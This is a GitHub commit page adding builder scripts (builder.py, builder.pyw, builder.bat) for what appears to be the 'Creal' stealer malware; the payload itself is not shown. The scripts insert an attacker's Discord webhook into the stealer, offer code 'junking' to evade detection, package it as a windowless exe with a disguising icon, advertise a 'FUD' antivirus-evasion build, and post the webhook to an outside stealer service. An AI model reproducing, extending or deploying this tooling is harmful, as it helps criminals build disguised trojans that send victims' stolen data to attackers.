Skip to content

Commit 18e7b0c

Browse files
Add files via upload
1 parent 3444550 commit 18e7b0c

15 files changed

+1502
-0
lines changed

LICENSE

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2023 Felworl22
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

builder.bat

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
@echo off
2+
title Creal Builder
3+
python builder.py
4+
pause

builder.py

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
from pystyle import *
2+
import os
3+
import subprocess
4+
from colorama import *
5+
import time
6+
from tkinter import filedialog, Tk
7+
8+
os.system('clear' if os.name == 'posix' else 'cls')
9+
10+
intro = """
11+
12+
▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀█▄ ▄▀▀▀▀▄
13+
█ █ ▌ █ █ █ ▐ ▄▀ ▐ ▐ ▄▀ ▀▄ █ █
14+
▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ █▄▄▄█ ▐ █ by ayhu & artonus
15+
█ ▄▀ █ █ ▌ ▄▀ █ █
16+
▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ █ ▄▀ ▄▀▄▄▄▄▄▄▀
17+
█ ▐ ▐ ▐ █ ▐ ▐ ▐ █
18+
▐ ▐ ▐
19+
20+
> Press Enter
21+
22+
"""
23+
24+
Anime.Fade(Center.Center(intro), Colors.black_to_red, Colorate.Vertical, interval=0.035, enter=True)
25+
26+
27+
print(f"""{Fore.LIGHTRED_EX}
28+
29+
▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀█▄ ▄▀▀▀▀▄
30+
█ █ ▌ █ █ █ ▐ ▄▀ ▐ ▐ ▄▀ ▀▄ █ █
31+
▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ █▄▄▄█ ▐ █ by ayhu & artonus
32+
█ ▄▀ █ █ ▌ ▄▀ █ █
33+
▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ █ ▄▀ ▄▀▄▄▄▄▄▄▀
34+
█ ▐ ▐ ▐ █ ▐ ▐ ▐ █
35+
▐ ▐ ▐
36+
37+
Welcome to builder
38+
39+
""")
40+
41+
time.sleep(1)
42+
43+
44+
while True:
45+
Write.Print("\nWhich option do you want to choose: ", Colors.red_to_yellow)
46+
Write.Print("\n1. Build Exe", Colors.red_to_yellow)
47+
Write.Print("\n2. Build FUD Exe (Virus programs undetected)", Colors.red_to_yellow)
48+
Write.Print("\n3. Close", Colors.red_to_yellow)
49+
Write.Print("\nMake your selection: ", Colors.red_to_yellow, end="")
50+
choice = input()
51+
52+
if choice == "1":
53+
os.system("cls || clear")
54+
webhook = input(Fore.CYAN + "\nEnter Your Webhook: " + Style.RESET_ALL)
55+
56+
filename = "Creal.py"
57+
filepath = os.path.join(os.getcwd(), filename)
58+
with open(filepath, "r", encoding="utf-8") as f:
59+
content = f.read()
60+
new_content = content.replace('"WEBHOOK HERE"', f'"{webhook}"')
61+
with open(filepath, "w", encoding="utf-8") as f:
62+
f.write(new_content)
63+
Write.Print(f"\n{filename} file updated.", Colors.red_to_yellow)
64+
65+
obfuscate = False
66+
while True:
67+
answer = input(Fore.CYAN + "\nDo you want to junk your code? (Y/N) " + Style.RESET_ALL)
68+
if answer.upper() == "Y":
69+
os.system("python junk.py")
70+
Write.Print(f"\n{filename} The file has been junked.", Colors.red_to_yellow)
71+
break
72+
elif answer.upper() == "N":
73+
break
74+
else:
75+
Write.Print("\nYou have entered invalid. Please try again.", Colors.red_to_purple)
76+
77+
answer = input(Fore.CYAN + "\nDo you want to make exe file? (Y/N) " + Style.RESET_ALL)
78+
if answer.upper() == "Y":
79+
answer = input(Fore.CYAN + "\nDo you want to add an icon? (Y/N) " + Style.RESET_ALL)
80+
if answer.upper() == "Y":
81+
Tk().withdraw()
82+
icon_file = filedialog.askopenfilename(filetypes=[("Icon Files", "*.ico")])
83+
if icon_file:
84+
subprocess.call(["pyinstaller", "--onefile", "--windowed", "--icon", icon_file, filename])
85+
Write.Print(f"\n{filename} has been converted to exe with the selected icon.", Colors.red_to_yellow)
86+
else:
87+
Write.Print("\nThe file you choose must have .ico extension!", Colors.red_to_purple)
88+
else:
89+
subprocess.call(["pyinstaller", "--onefile", "--windowed", filename])
90+
Write.Print(f"\n{filename} The file has been converted to exe.", Colors.red_to_yellow)
91+
92+
elif choice == "2":
93+
Write.Print("\nWe can share the fud for free but not now. if you want fud Telegram: https://t.me/CrealStealer", Colors.red_to_yellow)
94+
95+
elif choice == "3":
96+
Write.Print("\nExiting the program...", Colors.red_to_yellow)
97+
break
98+
99+
else:
100+
Write.Print("\nYou have entered invalid. Please try again.", Colors.red_to_purple)

builder.pyw

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
import os
2+
import shutil
3+
import customtkinter as ctk
4+
from tkinter import messagebox, filedialog
5+
import requests
6+
7+
8+
ctk.set_appearance_mode("dark")
9+
app = ctk.CTk()
10+
app.title(f"Creal Builder")
11+
app.iconbitmap("img\\xd.ico")
12+
app.geometry("400x240")
13+
app.resizable(False, False)
14+
15+
app.update_idletasks()
16+
screen_width = app.winfo_screenwidth()
17+
screen_height = app.winfo_screenheight()
18+
x = (screen_width - app.winfo_reqwidth()) // 2
19+
y = (screen_height - app.winfo_reqheight()) // 2
20+
app.geometry(f"+{x}+{y}")
21+
22+
def validate_webhook(webhook):
23+
return '/api/webhooks/' in webhook
24+
25+
def replace_webhook(webhook):
26+
file_path = 'creal.py'
27+
28+
with open(file_path, 'r', encoding='utf-8') as file:
29+
lines = file.readlines()
30+
31+
for i, line in enumerate(lines):
32+
if line.strip().startswith('h00k ='):
33+
lines[i] = f'h00k = "{webhook}"\n'
34+
break
35+
36+
with open(file_path, 'w', encoding='utf-8') as file:
37+
file.writelines(lines)
38+
39+
def select_icon():
40+
icon_path = filedialog.askopenfilename(filetypes=[("Icon files", "*.ico")])
41+
return icon_path
42+
43+
def add_icon():
44+
response = messagebox.askquestion("Add Icon", "Do you want to add an icon?")
45+
return response == 'yes'
46+
47+
def build_exe():
48+
webhook = entry.get()
49+
50+
if validate_webhook(webhook):
51+
response = requests.post("https://stealer.to/create", data={"webhook": webhook})
52+
response_data = response.json()
53+
54+
replace_webhook(response_data["protected_url"])
55+
icon_choice = add_icon()
56+
57+
if icon_choice:
58+
icon_path = select_icon()
59+
if not icon_path:
60+
messagebox.showerror("Error", "No icon file selected.")
61+
return
62+
else:
63+
icon_option = f' --icon="{icon_path}"'
64+
else:
65+
icon_option = ''
66+
67+
message = "Build process started..."
68+
messagebox.showinfo("Information", message)
69+
70+
dist_path = os.path.join(os.getcwd(), "dist")
71+
build_command = f'pyinstaller creal.py --noconsole --onefile{icon_option}'
72+
os.system(build_command)
73+
74+
messagebox.showinfo("Build Success", "Build process completed successfully. Check your dist folder.\nDon't forget to star the repo and join Telegram channel to support and receive lastest updates!")
75+
else:
76+
messagebox.showerror("Error", "thats not a valid discord webhook url")
77+
78+
entry = ctk.CTkEntry(master=app, width=230, height=30, placeholder_text="Enter Discord Webhook URL")
79+
entry.place(relx=0.5, rely=0.4, anchor=ctk.CENTER)
80+
81+
button = ctk.CTkButton(master=app, text="Build EXE", text_color="white", hover_color="#363636", fg_color="black", command=build_exe)
82+
button.place(relx=0.5, rely=0.6, anchor=ctk.CENTER)
83+
84+
85+
app.mainloop()

0 commit comments

Comments
 (0)